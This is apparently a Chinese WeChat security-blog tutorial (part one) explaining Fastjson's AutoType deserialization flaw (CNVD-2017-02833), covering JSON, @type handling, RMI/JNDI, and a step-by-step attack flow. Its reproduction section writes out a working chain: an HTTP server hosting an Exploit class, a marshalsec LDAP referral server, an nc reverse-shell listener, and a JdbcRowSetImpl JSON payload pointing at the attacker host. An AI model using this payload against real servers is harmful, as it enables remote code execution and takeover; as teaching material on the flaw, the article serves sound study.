免责声明!
本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法
。
大 纲
Fastjson介绍
相关概念及Fastjson反序列化漏洞原理
复现RCE CNVD-2017-02833漏洞
RCE CNVD-2017-02833漏洞演进
1
Fastjson介绍:
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
(2) Alibaba开源系列:
Druid、Fastjson、Dubbo、OceanBase、Tengine、TFS、RocketMQ、Canal等等。
https://github.com/orgs/alibaba/repositories
(3) 序列化或反序列化组件有哪些?
2
相关概念及Fastjson反序列化漏洞原理:
(1) 什么是json?
{
"name":"BossFrank",
"age":23,
"media":["CSDN","bilibili","Github"]
}
json本质就是一种字符串,用于信息的存储和交换。
在文章《Web篇 | 一文掌握Java反序列化漏洞,干货!(上)》中也有讲解json的由来。
https://mp.weixin.qq.com/s/GqjOwAJPFKMj4x7vx08o0A
(2) Fastjson反序列化漏洞原理:
Fastjson的漏洞本质还是一个java的反序列化漏洞。
Fastjson在序列化的时候就会使用AutoType功能进行对序列化后的JSON字符带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法。
然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
(3) 为什么要使用AutoType功能?
Fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1.基于setter/getter
2.基于属性(AutoType)
基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:
{
"Fruit":{
"price":0.5
}
}
假设iphone对象的price为5000,序列化为json格式后为:
{
"Fruit":{
"price":5000
}
}
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题:fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
}
引入AutoType后,iphone类对象序列化为json格式后为:
{
"fruit":{
"@type":"com.hollis.lab.fastjson.test.iphone",
"price":5000
}
}
这样在反序列化的时候就可以区分原始的类了。
sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用。
(5) 什么是rmi?
RMI(Remote Method Invocation,远程方法调用)是Java语言中用于实现分布式系统的机制,允许一个Java虚拟机(JVM)上的对象调用另一个JVM(通常位于不同计算机)上的对象方法。它是Java原生支持的远程通信技术,常用于构建跨网络的分布式应用。
简单讲就是一个机器执行另一个机器给的命令,且不回显。
该漏洞还需一台rmi服务器。
S1:攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
S2:存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。
S3:rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
S4:rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
S5:靶机服务器执行了恶意代码,被攻击者成功利用。
Fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。攻击者通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞。
服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令。
与Log4j2反序列化漏洞利用点相似。
4
复现RCE CNVD-2017-02833漏洞:
python -m http.server 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.127.128:9999/#Exploit" 6666
nc -lvp 1888
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.127.128:6666/Exploit",
"autoCommit":true
}
}
5
RCE CNVD-2017-02833漏洞演进:
在fastjson中有一个全局缓存,在类加载的时候,如果autotype功能没开启,就会先尝试从缓存中获取类,如果缓存中有,则直接返回。
java.lang.Class类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中。
没看够~?欢迎关注!
往期精彩推荐
内网篇 | 干货!一文秒懂Kerberos认证:全面剖析与实践指南
内网篇 | CobaltStrike:深入探索本地信息收集技巧,干货!!!
漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!
漏洞复现篇 | Next.js 中间件鉴权绕过漏洞:CVE-2025-29927,速看!!!
Web篇 |【全网最详细】Apache CC反序列化漏洞:CC1调用链POC构造过程,干货!!!(上)
Web篇 | 一文掌握Apache Commons Collections反序列化漏洞,速看!!!(上)
工具篇 | 应急响应工具包,2025Hvv必备神器!!!
Web篇 | 一文掌握Java反序列化漏洞,干货!(上)
Web篇 | 最强sqlmap联动burpsuite+WAF绕过姿势,Hvv面试必备!
内网篇 | 干货!深入解析NTLM协议:挑战-响应认证机制揭秘,红队必备!
内网篇 | 史上最全的内网IP扫描攻略,干货!
漏洞复现篇 | CVE-2025-24813 Tomcat,最新RCE漏洞,速看!!!
内网篇 | 【送给小白的】内网信息收集:端口扫描详解,干货!!!
工具篇 | 把deepseek塞进微信:实现自动回复消息!王炸!!!
SRC篇 | 如此简单的逻辑漏洞,速看!!!
红队必备:一文教你掌握pwd抓取技术,让你秒变高手!
SRC篇 | 今天你挖洞了吗?Webpack未授权访问漏洞,实战!
Web篇 | 技巧!布尔盲注-利用burpsuite实现半自动化
漏洞复现篇 | Ecshop SQL注入引起的任意代码执行漏洞
内网篇 | 干货!Windows系统本地认证
原文始发于微信公众号(零日安全实验室):Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论